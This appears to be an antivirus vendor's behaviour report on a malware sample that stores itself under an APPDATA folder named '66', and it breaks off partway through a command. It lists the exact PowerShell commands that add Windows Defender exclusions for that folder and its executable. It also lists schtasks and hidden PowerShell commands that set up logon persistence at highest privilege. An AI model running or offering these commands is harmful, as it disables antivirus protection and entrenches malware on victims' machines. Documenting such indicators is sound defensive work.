Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\66
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-MpPreference -ExclusionPath '%APPDATA%\66'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-MpPreference -ExclusionProcess '%APPDATA%\66\<File name>.exe'"
Modifies file system
Creates the following files
- %APPDATA%\66\<File name>.exe
- nul
- %APPDATA%\66\<File name>.vbs
Network activity
UDP
- DNS ASK localhost
Miscellaneous
Executes the following
- '<SYSTEM32>\schtasks.exe' /Delete /TN 66 /F
- '<SYSTEM32>\schtasks.exe' /Create /TN 66 /TR \"%APPDATA%\66\<File name>.exe\" /SC ONLOGON /RL HIGHEST /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "66 Monitor" /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument '\"%APPDATA%\66\<File name>.vbs\"'; $t = New-ScheduledTaskTrigger -Once -A...
